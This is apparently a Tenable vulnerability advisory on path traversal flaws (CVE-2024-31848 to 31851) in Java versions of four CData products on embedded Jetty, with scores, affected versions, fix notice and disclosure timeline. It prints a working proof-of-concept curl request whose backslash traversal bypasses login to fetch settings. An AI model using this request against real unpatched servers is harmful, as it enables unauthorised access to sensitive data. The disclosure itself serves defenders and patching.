Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

Path Traversal Affecting Multiple CData Products

Critical

Synopsis

A researcher at Tenable discovered a path traversal vulnerability affecting the Java versions of multiple CData products when deployed using the embedded Jetty server, with varying impacts per product. The issue exists because of a combination of how the embedded Jetty server and CData servlets handle requests.

Technical Details

The path traversal can be leveraged as a result of the following conditions:

  • The servlet mappings and security constraints laid out in each application's web.xml configuration file appear to be processed by Jetty in ways unintended by CData, allowing an attacker to bypass intended security constraint restrictions. 
  • Additionally, Jetty does not reject \ characters in URIs as other servers might (the same requests against the CData applications deployed on Tomcat are rejected as Tomcat does not allow \ characters in the URI), and the CData servlets still process the URIs properly.
  • The CData applications lacked explicit session checks on a number of endpoints, allowing an attacker to leverage the path traversal to perform sensitive actions that would otherwise be restricted to an authenticated user.

CVE-2024-31848 - Path Traversal in CData API Server 
Base Score: 9.8  
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

A path traversal vulnerability exists in the Java version of CData API Server < 23.4.8844 when running using the embedded Jetty server, which could allow an unauthenticated remote attacker to gain complete administrative access to the application.

CVE-2024-31849 - Path Traversal in CData Connect
Base Score: 9.8  
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

A path traversal vulnerability exists in the Java version of CData Connect < 23.4.8846 when running using the embedded Jetty server, which could allow an unauthenticated remote attacker to gain complete administrative access to the application.

CVE-2024-31850 - Path Traversal in CData Arc
Base Score: 8.6  
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L

A path traversal vulnerability exists in the Java version of CData Arc < 23.4.8839 when running using the embedded Jetty server, which could allow an unauthenticated remote attacker to gain access to sensitive information and perform limited actions.

CVE-2024-31851 - Path Traversal in CData Sync
Base Score: 8.6  
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L

A path traversal vulnerability exists in the Java version of CData Sync < 23.4.8843 when running using the embedded Jetty server, which could allow an unauthenticated remote attacker to gain access to sensitive information and perform limited actions.


Proof of Concept:

The simplest proof of concept which works for each product is accessing /src/getSettings.rsb which depending on the application can reveal sensitive data. 


Regular request:

curl --head -H 'Host: 127.0.0.1:8080' -H 'Referer: http://127.0.0.1:8080/' 'http://127.0.0.1:8080/src/getSettings.rsb?@json'
HTTP/1.1 303 See Other
Date: Fri, 05 Apr 2024 17:09:21 GMT
Set-Cookie: apiserver_jsessionid=node01wx9hehp2d2kh3wlpx7p9au292.node0; Path=/; HttpOnly
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Location: http://127.0.0.1:8080/login.rst
Content-Length: 0
Server: Jetty(10.0.15)

With Path Traversal:

curl --head -H 'Host: 127.0.0.1:8080' -H 'Referer: http://127.0.0.1:8080/' 'http://127.0.0.1:8080/ui/..\src\getSettings.rsb?@json'
HTTP/1.1 200 OK
Date: Fri, 05 Apr 2024 17:11:20 GMT
X-Frame-Options: SAMEORIGIN
Content-Type: application/json;charset=utf-8
Content-Disposition: attachment; filename=GetSettings.json
Transfer-Encoding: chunked
Server: Jetty(10.0.15)

Solution

CData has released updates for each affected product which mitigate the issue. 

Disclosure Timeline

4 March 2024 - Issues disclosed to CData
6 March 2024 - CData acknowledges
25 March 2024 - CData releases fixes
5 April 2024 - Advisory Published

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

Tenable Advisory ID: TRA-2024-09
Credit:
Evan Grant
Affected Products:
CData API Server < 23.4.8844
CData Arc < 23.4.8839
CData Connect < 23.4.8846
CData Sync < 23.4.8843
Risk Factor:
Critical

Advisory Timeline

5 April 2024 - Initial Advisory Published